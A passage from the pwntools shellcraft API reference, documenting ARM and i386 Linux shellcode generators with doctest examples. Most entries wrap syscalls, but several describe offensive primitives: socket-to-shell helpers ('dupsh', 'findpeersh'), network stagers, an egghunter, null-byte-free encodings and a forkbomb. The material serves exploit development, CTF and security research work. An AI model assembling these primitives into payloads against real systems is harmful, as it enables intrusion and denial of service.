Parameters

- **idtype** (*idtype_t*) – idtype
- **id** (*id_t*) – id
- **infop** (*siginfo_t*) – infop
- **options** (*int*) – options

`pwnlib.shellcraft.arm.linux.waitpid` (*pid, stat_loc, options*)
 Invokes the syscall waitpid. See ‘man 2 waitpid’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*int*) – stat_loc
- **options** (*int*) – options

`pwnlib.shellcraft.arm.linux.write` (*fd, buf, n*)
 Invokes the syscall write. See ‘man 2 write’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n

`pwnlib.shellcraft.arm.linux.writev` (*fd, iovec, count*)
 Invokes the syscall writev. See ‘man 2 writev’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

pwnlib.shellcraft.common — Shellcode common to all architecture

Shellcraft module containing shellcode common to all platforms.

`pwnlib.shellcraft.common.label` (*prefix='label'*)
 Returns a new unique label with a given prefix.

Parameters **prefix** (*str*) – The string to prefix the label with

pwnlib.shellcraft.i386 — Shellcode for Intel 80386

`pwnlib.shellcraft.i386`

Shellcraft module containing generic Intel i386 shellcodes.

`pwnlib.shellcraft.i386.breakpoint()`
A single-byte breakpoint instruction.

`pwnlib.shellcraft.i386.crash()`
Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.i386.epilog(nargs=0)`
Function epilogue.

Parameters `nargs` (*int*) – Number of arguments to pop off the stack.

`pwnlib.shellcraft.i386.function(name, template_function, *registers)`
Converts a shellcraft template into a callable function.

Parameters

- **name** (*str*) – Name of the function.
- **template_sz** (*str, callable*) – Rendered shellcode template. Any variable Arguments should be supplied as registers.
- **registers** (*list*) – List of registers which should be filled from the stack.

```
>>> shellcode = ''
>>> shellcode += shellcraft.function('write', shellcraft.i386.linux.write, 'eax', 'ebx', 'ecx')

>>> hello = shellcraft.i386.linux.echo("Hello!", 'eax')
>>> hello_fn = shellcraft.i386.function('hello', hello, 'eax').strip()
>>> exit = shellcraft.i386.linux.exit('edi')
>>> exit_fn = shellcraft.i386.function('exit', exit, 'edi').strip()
>>> shellcode = '''
...     push STDOUT_FILENO
...     call hello
...     push 33
...     call exit
...     %(hello_fn)s
...     %(exit_fn)s
...     ''' % (locals())
>>> p = run_assembly(shellcode)
>>> p.recvall()
b'Hello!'
>>> p.wait_for_close()
>>> p.poll()
33
```

Notes

Can only be used on a shellcraft template which takes all of its arguments as registers. For example, the `pushstr`

`pwnlib.shellcraft.i386.getpc(register='ecx')`
Retrieves the value of EIP, stores it in the desired register.

Parameters `return_value` – Value to return

`pwnlib.shellcraft.i386.infloop()`

A two-byte infinite loop.

`pwnlib.shellcraft.i386.itoa(v, buffer='esp', allocate_stack=True)`

Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.i386.mov('eax', 0xdeadbeef)
>>> sc += shellcraft.i386.itoa('eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

`pwnlib.shellcraft.i386.memcpy(dest, src, n)`

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.i386.mov(dest, src, stack_allowed=True)`

Move `src` into `dest` without newlines and null bytes.

If the `src` is a register smaller than the `dest`, then it will be zero-extended to fit inside the larger register.

If the `src` is a register larger than the `dest`, then only some of the bits will be used.

If `src` is a string that is not a register, then it will locally set `context.arch` to `'i386'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.i386.mov('eax', 'ebx').rstrip())
mov eax, ebx
>>> print(shellcraft.i386.mov('eax', 0).rstrip())
xor eax, eax
>>> print(shellcraft.i386.mov('ax', 0).rstrip())
xor ax, ax
>>> print(shellcraft.i386.mov('ax', 17).rstrip())
xor ax, ax
mov al, 0x11
```

```

>>> print(shellcraft.i386.mov('edi', ord('\n')).rstrip())
push 9 /* mov edi, '\n' */
pop edi
inc edi
>>> print(shellcraft.i386.mov('al', 'ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.i386.mov('esp', 'esp').rstrip())
/* moving esp into esp, but this is a no-op */
>>> print(shellcraft.i386.mov('ax', 'bl').rstrip())
movzx ax, bl
>>> print(shellcraft.i386.mov('eax', 1).rstrip())
push 1
pop eax
>>> print(shellcraft.i386.mov('eax', 1, stack_allowed=False).rstrip())
xor eax, eax
mov al, 1
>>> print(shellcraft.i386.mov('eax', 0xdead00ff).rstrip())
mov eax, -0xdead00ff
neg eax
>>> print(shellcraft.i386.mov('eax', 0xc0).rstrip())
xor eax, eax
mov al, 0xc0
>>> print(shellcraft.i386.mov('edi', 0xc0).rstrip())
mov edi, -0xc0
neg edi
>>> print(shellcraft.i386.mov('eax', 0xc000).rstrip())
xor eax, eax
mov ah, 0xc000 >> 8
>>> print(shellcraft.i386.mov('eax', 0xffc000).rstrip())
mov eax, 0x1010101
xor eax, 0x1010101 ^ 0xffc000
>>> print(shellcraft.i386.mov('edi', 0xc000).rstrip())
mov edi, (-1) ^ 0xc000
not edi
>>> print(shellcraft.i386.mov('edi', 0xf500).rstrip())
mov edi, 0x1010101
xor edi, 0x1010101 ^ 0xf500
>>> print(shellcraft.i386.mov('eax', 0xc0c0).rstrip())
xor eax, eax
mov ax, 0xc0c0
>>> print(shellcraft.i386.mov('eax', 'SYS_execve').rstrip())
push (SYS_execve) /* 0xb */
pop eax
>>> with context.local(os='freebsd'):
...     print(shellcraft.i386.mov('eax', 'SYS_execve').rstrip())
push (SYS_execve) /* 0x3b */
pop eax
>>> print(shellcraft.i386.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop eax

```

pwnlib.shellcraft.i386.**nop**()
A single-byte nop instruction.

pwnlib.shellcraft.i386.**prolog**()
Function prologue.

pwnlib.shellcraft.i386.**push**(value)
Pushes a value onto the stack without using null bytes or newline characters.

If `src` is a string, then we try to evaluate with `context.arch = 'i386'` using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters `value` (*int*, *str*) – The value or register to push

Example

```
>>> print(pwnlib.shellcraft.i386.push(0).rstrip())
/* push 0 */
push 1
dec byte ptr [esp]
>>> print(pwnlib.shellcraft.i386.push(1).rstrip())
/* push 1 */
push 1
>>> print(pwnlib.shellcraft.i386.push(256).rstrip())
/* push 256 */
push 0x1010201
xor dword ptr [esp], 0x1010301
>>> print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
push 0xb
>>> print(pwnlib.shellcraft.i386.push('SYS_sendfile').rstrip())
/* push 'SYS_sendfile' */
push 0x1010101
xor dword ptr [esp], 0x10101ba
>>> with context.local(os = 'freebsd'):
...     print(pwnlib.shellcraft.i386.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
push 0x3b
```

`pwnlib.shellcraft.i386.pushstr` (*string*, *append_null=True*)
Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print(shellcraft.i386.pushstr('').rstrip())
/* push b'\x00' */
push 1
dec byte ptr [esp]
>>> print(shellcraft.i386.pushstr('a').rstrip())
/* push b'a\x00' */
push 0x61
>>> print(shellcraft.i386.pushstr('aa').rstrip())
/* push b'aa\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016060
>>> print(shellcraft.i386.pushstr('aaa').rstrip())
/* push b'aaa\x00' */
push 0x1010101
xor dword ptr [esp], 0x1606060
>>> print(shellcraft.i386.pushstr('aaaa').rstrip())
/* push b'aaaa\x00' */
push 1
dec byte ptr [esp]
push 0x61616161
```

```

>>> print(shellcraft.i386.pushstr('aaaaa').rstrip())
/* push b'aaaaa\x00' */
push 0x61
push 0x61616161
>>> print(shellcraft.i386.pushstr('aaaa', append_null=False).rstrip())
/* push b'aaaa' */
push 0x61616161
>>> print(shellcraft.i386.pushstr(b'\xc3').rstrip())
/* push b'\xc3\x00' */
push 0x1010101
xor dword ptr [esp], 0x10101c2
>>> print(shellcraft.i386.pushstr(b'\xc3', append_null=False).rstrip())
/* push b'\xc3' */
push -0x3d
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.pushstr("/bin/sh"))))
68010101018134242e726901682f62696e
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.pushstr(""))))
6a01fe0c24
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.pushstr(b"\x00", False))))
6a01fe0c24

```

Parameters

- **string** (*bytes, str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

`pwntools.shellcraft.i386.pushstr_array` (*reg, array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*bytes, str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwntools.shellcraft.i386.ret` (*return_value=None*)

A single-byte RET instruction.

Parameters `return_value` – Value to return

`pwntools.shellcraft.i386.setregs` (*reg_context, stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1,ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print(shellcraft.setregs({'eax': 1, 'ebx': 'eax'}).rstrip())
mov ebx, eax
push 1
pop eax
>>> print(shellcraft.setregs({'eax': 'ebx', 'ebx': 'eax', 'ecx': 'ebx'}).rstrip())
mov ecx, ebx
xchg eax, ebx
```

pwnlib.shellcraft.i386.**stackarg** (*index*, *register*)

Loads a stack-based argument into a register.

Assumes that the ‘prolog’ code was used to save EBP.

Parameters

- **index** (*int*) – Zero-based argument index.
- **register** (*str*) – Register name.

pwnlib.shellcraft.i386.**stackhunter** (*cookie=0x7afceb58*)

Returns an egghunter, which searches from esp and upwards for a cookie. However to save bytes, it only looks at a single 4-byte alignment. Use the function `stackhunter_helper` to generate a suitable cookie prefix for you.

The default cookie has been chosen, because it makes it possible to shave a single byte, but other cookies can be used too.

Example

```
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.stackhunter())))
3d58ebfc7a75faffe4
>>> with context.local():
...     context.arch = 'i386'
...     print(enhex(asm(shellcraft.stackhunter(0xdeadbeef))))
583defbeadde75f8ffe4
```

pwnlib.shellcraft.i386.**strcpy** (*dst*, *src*)

Copies a string

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386 strcpy('esp', 'eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\n"'
>>> run_assembly(sc).recvline()
b'Hello, world\n'
```

pwnlib.shellcraft.i386.**strlen** (*string*, *reg='ecx'*)

Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, ecx is the default.

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strlen('eax')
>>> sc += 'push ecx;'
>>> sc += shellcraft.i386.linux.write(1, 'esp', 4)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

`pwnlib.shellcraft.i386.trap()`
A trap instruction.

`pwnlib.shellcraft.i386.xor` (*key*, *address*, *count*)
XORs data a constant value.

Parameters

- **key** (*int*, *bytes*, *str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes. Alternately, may be a register.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'esp')
- **count** (*int*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'esp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'esp', 32)
>>> sc += shellcraft.write(1, 'esp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

`pwnlib.shellcraft.i386.linux`

Shellcraft module containing Intel i386 shellcodes for Linux.

`pwnlib.shellcraft.i386.linux.accept` (*fd*, *addr*, *addr_len*)
Invokes the syscall accept. See ‘man 2 accept’ for more information.

Parameters

- **fd** (*int*) – fd

- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.i386.linux.acceptloop_ipv4` (*port*)

Parameters **port** (*int*) – the listening port

Waits for a connection. Leaves socket in EBP. ipv4 only

`pwnlib.shellcraft.i386.linux.access` (*name, type*)

Invokes the syscall access. See ‘man 2 access’ for more information.

Parameters

- **name** (*char*) – name
- **type** (*int*) – type

`pwnlib.shellcraft.i386.linux.acct` (*name*)

Invokes the syscall acct. See ‘man 2 acct’ for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.i386.linux.alarm` (*seconds*)

Invokes the syscall alarm. See ‘man 2 alarm’ for more information.

Parameters **seconds** (*unsigned*) – seconds

`pwnlib.shellcraft.i386.linux.bind` (*fd, addr, length*)

Invokes the syscall bind. See ‘man 2 bind’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*CONST_SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.i386.linux.brk` (*addr*)

Invokes the syscall brk. See ‘man 2 brk’ for more information.

Parameters **addr** (*void*) – addr

`pwnlib.shellcraft.i386.linux.cat` (*filename, fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()
b'FLAG'
```

`pwnlib.shellcraft.i386.linux.chdir` (*path*)

Invokes the syscall chdir. See ‘man 2 chdir’ for more information.

Parameters **path** (*char*) – path

`pwnlib.shellcraft.i386.linux.chmod` (*file, mode*)

Invokes the syscall chmod. See ‘man 2 chmod’ for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.i386.linux.chown` (*file, owner, group*)

Invokes the syscall `chown`. See ‘man 2 `chown`’ for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.i386.linux.chroot` (*path*)

Invokes the syscall `chroot`. See ‘man 2 `chroot`’ for more information.

Parameters **path** (*char*) – path

`pwnlib.shellcraft.i386.linux.clock_getres` (*clock_id, res*)

Invokes the syscall `clock_getres`. See ‘man 2 `clock_getres`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **res** (*timespec*) – `res`

`pwnlib.shellcraft.i386.linux.clock_gettime` (*clock_id, tp*)

Invokes the syscall `clock_gettime`. See ‘man 2 `clock_gettime`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **tp** (*timespec*) – `tp`

`pwnlib.shellcraft.i386.linux.clock_nanosleep` (*clock_id, flags, req, rem*)

Invokes the syscall `clock_nanosleep`. See ‘man 2 `clock_nanosleep`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **flags** (*int*) – `flags`
- **req** (*timespec*) – `req`
- **rem** (*timespec*) – `rem`

`pwnlib.shellcraft.i386.linux.clock_settime` (*clock_id, tp*)

Invokes the syscall `clock_settime`. See ‘man 2 `clock_settime`’ for more information.

Parameters

- **clock_id** (*clockid_t*) – `clock_id`
- **tp** (*timespec*) – `tp`

`pwnlib.shellcraft.i386.linux.clone` (*fn, child_stack, flags, arg, vararg*)

Invokes the syscall `clone`. See ‘man 2 `clone`’ for more information.

Parameters

- **fn** (*int*) – `fn`
- **child_stack** (*void*) – `child_stack`

- **flags** (*int*) – flags
- **arg** (*void*) – arg
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**close** (*fd*)

Invokes the syscall close. See ‘man 2 close’ for more information.

Parameters *fd* (*int*) – fd

pwnlib.shellcraft.i386.linux.**connect** (*host, port, network='ipv4'*)

Connects to the host on the specified port. Leaves the connected socket in edx

Parameters

- **host** (*str*) – Remote IP address or hostname (as a dotted quad / string)
- **port** (*int*) – Remote port
- **network** (*str*) – Network protocol (ipv4 or ipv6)

Examples

```
>>> l = listen(timeout=5)
>>> assembly = shellcraft.i386.linux.connect('localhost', l.lport)
>>> assembly += shellcraft.i386.pushstr('Hello')
>>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)
>>> p = run_assembly(assembly)
>>> l.wait_for_connection().recv()
b'Hello'
```

```
>>> l = listen(fam='ipv6', timeout=5)
>>> assembly = shellcraft.i386.linux.connect('ip6-localhost', l.lport, 'ipv6')
>>> p = run_assembly(assembly)
>>> assert l.wait_for_connection()
```

pwnlib.shellcraft.i386.linux.**connectstager** (*host, port, network='ipv4'*)

connect recvsz stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

pwnlib.shellcraft.i386.linux.**creat** (*file, mode*)

Invokes the syscall creat. See ‘man 2 creat’ for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.i386.linux.**dir** (*in_fd='ebp', size=2048, allocate_stack=True*)

Reads to the stack from a directory.

Parameters

- **in_fd** (*int/str*) – File descriptor to be read from.
- **size** (*int*) – Buffer size.
- **allocate_stack** (*bool*) – allocate ‘size’ bytes on the stack.

You can optionally shave a few bytes not allocating the stack space.

The size read is left in eax.

`pwnlib.shellcraft.i386.linux.dup` (*fd, fd2*)
Invokes the syscall `dup`. See ‘man 2 dup’ for more information.

Parameters `fd` (*int*) – fd

`pwnlib.shellcraft.i386.linux.dup2` (*fd, fd2*)
Invokes the syscall `dup2`. See ‘man 2 dup2’ for more information.

Parameters

- `fd` (*int*) – fd
- `fd2` (*int*) – fd2

`pwnlib.shellcraft.i386.linux.dup3` (*fd, fd2, flags*)
Invokes the syscall `dup3`. See ‘man 2 dup3’ for more information.

Parameters

- `fd` (*int*) – fd
- `fd2` (*int*) – fd2
- `flags` (*int*) – flags

`pwnlib.shellcraft.i386.linux.dupio` (*sock='ebp'*)
Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.i386.linux.dupsh` (*sock='ebp'*)
Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.i386.linux.echo` (*string, sock='l'*)
Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello', 1)).recvall()  
b'hello'
```

`pwnlib.shellcraft.i386.linux.egghunter` (*egg, start_address=0*)
Searches memory for the byte sequence ‘egg’.

Return value is the address immediately following the match, stored in RDI.

Parameters

- `egg` (*bytes, str, int*) – String of bytes, or word-size integer to search for
- `start_address` (*int*) – Where to start the search

`pwnlib.shellcraft.i386.linux.epoll_create` (*size*)
Invokes the syscall `epoll_create`. See ‘man 2 epoll_create’ for more information.

Parameters `size` (*int*) – size

`pwnlib.shellcraft.i386.linux.epoll_create1` (*flags*)
Invokes the syscall `epoll_create1`. See ‘man 2 epoll_create1’ for more information.

Parameters `flags` (*int*) – flags

`pwnlib.shellcraft.i386.linux.epoll_ctl` (*epfd, op, fd, event*)
Invokes the syscall `epoll_ctl`. See ‘man 2 epoll_ctl’ for more information.

Parameters

- **epfd** (*int*) – epfd
- **op** (*int*) – op
- **fd** (*int*) – fd
- **event** (*epoll_event*) – event

pwnlib.shellcraft.i386.linux.**epoll_pwait** (*epfd, events, maxevents, timeout, ss*)
 Invokes the syscall `epoll_pwait`. See ‘man 2 `epoll_pwait`’ for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout
- **ss** (*sigset_t*) – ss

pwnlib.shellcraft.i386.linux.**epoll_wait** (*epfd, events, maxevents, timeout*)
 Invokes the syscall `epoll_wait`. See ‘man 2 `epoll_wait`’ for more information.

Parameters

- **epfd** (*int*) – epfd
- **events** (*epoll_event*) – events
- **maxevents** (*int*) – maxevents
- **timeout** (*int*) – timeout

pwnlib.shellcraft.i386.linux.**execve** (*path='/bin//sh', argv=0, envp=0*)
 Execute a different process.

Attempts to perform some automatic detection of types. Otherwise, the arguments behave as normal.

- If `path` is a string that is not a known register, it is pushed onto the stack.
- If `argv` is an array of strings, it is pushed onto the stack, and NULL-terminated.
- If `envp` is a dictionary of {string:string}, it is pushed onto the stack, and NULL-terminated.

Example

```
>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': '3'}
>>> sc = shellcraft.i386.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
b'Hello, zerocool\n'
>>> io.poll(True)
3
```

pwnlib.shellcraft.i386.linux.**exit** (*status=None*)
 Invokes the syscall `exit`. See ‘man 2 `exit`’ for more information.

Parameters **status** (*int*) – status

Doctest

```
>>> run_assembly_exitcode(shellcraft.exit(33))
33
```

`pwnlib.shellcraft.i386.linux.faccessat` (*fd, file, type, flag*)

Invokes the syscall `faccessat`. See ‘man 2 `faccessat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **type** (*int*) – type
- **flag** (*int*) – flag

`pwnlib.shellcraft.i386.linux.fallocate` (*fd, mode, offset, length*)

Invokes the syscall `fallocate`. See ‘man 2 `fallocate`’ for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*int*) – mode
- **offset** (*off_t*) – offset
- **len** (*off_t*) – len

`pwnlib.shellcraft.i386.linux.fchdir` (*fd*)

Invokes the syscall `fchdir`. See ‘man 2 `fchdir`’ for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.i386.linux.fchmod` (*fd, mode*)

Invokes the syscall `fchmod`. See ‘man 2 `fchmod`’ for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.i386.linux.fchmodat` (*fd, file, mode, flag*)

Invokes the syscall `fchmodat`. See ‘man 2 `fchmodat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **mode** (*mode_t*) – mode
- **flag** (*int*) – flag

`pwnlib.shellcraft.i386.linux.fchown` (*fd, owner, group*)

Invokes the syscall `fchown`. See ‘man 2 `fchown`’ for more information.

Parameters

- **fd** (*int*) – fd
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.i386.linux.fchownat` (*fd, file, owner, group, flag*)
 Invokes the syscall `fchownat`. See ‘man 2 `fchownat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group
- **flag** (*int*) – flag

`pwnlib.shellcraft.i386.linux.fcntl` (*fd, cmd, vararg*)
 Invokes the syscall `fcntl`. See ‘man 2 `fcntl`’ for more information.

Parameters

- **fd** (*int*) – fd
- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.i386.linux.fdatasync` (*fildes*)
 Invokes the syscall `fdatasync`. See ‘man 2 `fdatasync`’ for more information.

Parameters **fildes** (*int*) – *fildes*

`pwnlib.shellcraft.i386.linux.findpeer` (*port=None*)
 Args: *port* (defaults to any) Finds a socket, which is connected to the specified port. Leaves socket in ESI.

`pwnlib.shellcraft.i386.linux.findpeersh` (*port=None*)
 Args: *port* (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

`pwnlib.shellcraft.i386.linux.findpeerstager` (*port=None*)
 Findpeer recvsize stager :param *port*, the port given to findpeer: :type *port*, the port given to findpeer: defaults to any

`pwnlib.shellcraft.i386.linux.flock` (*fd, operation*)
 Invokes the syscall `flock`. See ‘man 2 `flock`’ for more information.

Parameters

- **fd** (*int*) – fd
- **operation** (*int*) – operation

`pwnlib.shellcraft.i386.linux.fork` ()
 Invokes the syscall `fork`. See ‘man 2 `fork`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.forkbomb` ()
 Performs a forkbomb attack.

`pwnlib.shellcraft.i386.linux.forkexit` ()
 Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.i386.linux.fstat` (*fd, buf*)
 Invokes the syscall `fstat`. See ‘man 2 `fstat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*stat*) – buf

`pwnlib.shellcraft.i386.linux.fstat64` (*fd, buf*)

Invokes the syscall `fstat64`. See ‘man 2 `fstat64`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.i386.linux.fstatat64` (*fd, file, buf, flag*)

Invokes the syscall `fstatat64`. See ‘man 2 `fstatat64`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **buf** (*stat64*) – buf
- **flag** (*int*) – flag

`pwnlib.shellcraft.i386.linux.fsync` (*fd*)

Invokes the syscall `fsync`. See ‘man 2 `fsync`’ for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.i386.linux.ftruncate` (*fd, length*)

Invokes the syscall `ftruncate`. See ‘man 2 `ftruncate`’ for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off_t*) – length

`pwnlib.shellcraft.i386.linux.ftruncate64` (*fd, length*)

Invokes the syscall `ftruncate64`. See ‘man 2 `ftruncate64`’ for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off64_t*) – length

`pwnlib.shellcraft.i386.linux.futimesat` (*fd, file, tvp*)

Invokes the syscall `futimesat`. See ‘man 2 `futimesat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.i386.linux.getcwd` (*buf, size*)

Invokes the syscall `getcwd`. See ‘man 2 `getcwd`’ for more information.

Parameters

- **buf** (*char*) – buf
- **size** (*size_t*) – size

`pwnlib.shellcraft.i386.linux.getdents` (*fd, dirp, count*)
 Invokes the syscall `getdents`. See ‘man 2 `getdents`’ for more information.

Parameters

- **fd** (*int*) – fd
- **dirp** (*int*) – dirp
- **count** (*int*) – count

`pwnlib.shellcraft.i386.linux.getegid` ()
 Invokes the syscall `getegid`. See ‘man 2 `getegid`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.geteuid` ()
 Invokes the syscall `geteuid`. See ‘man 2 `geteuid`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.getgid` ()
 Invokes the syscall `getgid`. See ‘man 2 `getgid`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.getgroups` (*size, list*)
 Invokes the syscall `getgroups`. See ‘man 2 `getgroups`’ for more information.

Parameters

- **size** (*int*) – size
- **list** (*gid_t*) – list

`pwnlib.shellcraft.i386.linux.getitimer` (*which, value*)
 Invokes the syscall `getitimer`. See ‘man 2 `getitimer`’ for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **value** (*itimerval*) – value

`pwnlib.shellcraft.i386.linux.getpeername` (*fd, addr, length*)
 Invokes the syscall `getpeername`. See ‘man 2 `getpeername`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.i386.linux.getpgid` (*pid*)
 Invokes the syscall `getpgid`. See ‘man 2 `getpgid`’ for more information.

Parameters `pid` (*pid_t*) – pid

`pwnlib.shellcraft.i386.linux.getpgrp` ()
 Invokes the syscall `getpgrp`. See ‘man 2 `getpgrp`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.getpid` ()
 Invokes the syscall `getpid`. See ‘man 2 `getpid`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.getpmsg` (*fildes*, *ctlptr*, *dataptr*, *bandp*, *flagsp*)
Invokes the syscall `getpmsg`. See ‘man 2 `getpmsg`’ for more information.

Parameters

- **fildes** (*int*) – *fildes*
- **ctlptr** (*strbuf*) – *ctlptr*
- **dataptr** (*strbuf*) – *dataptr*
- **bandp** (*int*) – *bandp*
- **flagsp** (*int*) – *flagsp*

`pwnlib.shellcraft.i386.linux.getppid` ()
Invokes the syscall `getppid`. See ‘man 2 `getppid`’ for more information.

Arguments:

`pwnlib.shellcraft.i386.linux.getpriority` (*which*, *who*)
Invokes the syscall `getpriority`. See ‘man 2 `getpriority`’ for more information.

Parameters

- **which** (*priority_which_t*) – *which*
- **who** (*id_t*) – *who*

`pwnlib.shellcraft.i386.linux.getresgid` (*rgid*, *egid*, *sgid*)
Invokes the syscall `getresgid`. See ‘man 2 `getresgid`’ for more information.

Parameters

- **rgid** (*gid_t*) – *rgid*
- **egid** (*gid_t*) – *egid*
- **sgid** (*gid_t*) – *sgid*

`pwnlib.shellcraft.i386.linux.getresuid` (*ruid*, *euid*, *suid*)
Invokes the syscall `getresuid`. See ‘man 2 `getresuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – *ruid*
- **euid** (*uid_t*) – *euid*
- **suid** (*uid_t*) – *suid*

`pwnlib.shellcraft.i386.linux.getrlimit` (*resource*, *rlimits*)
Invokes the syscall `getrlimit`. See ‘man 2 `getrlimit`’ for more information.

Parameters

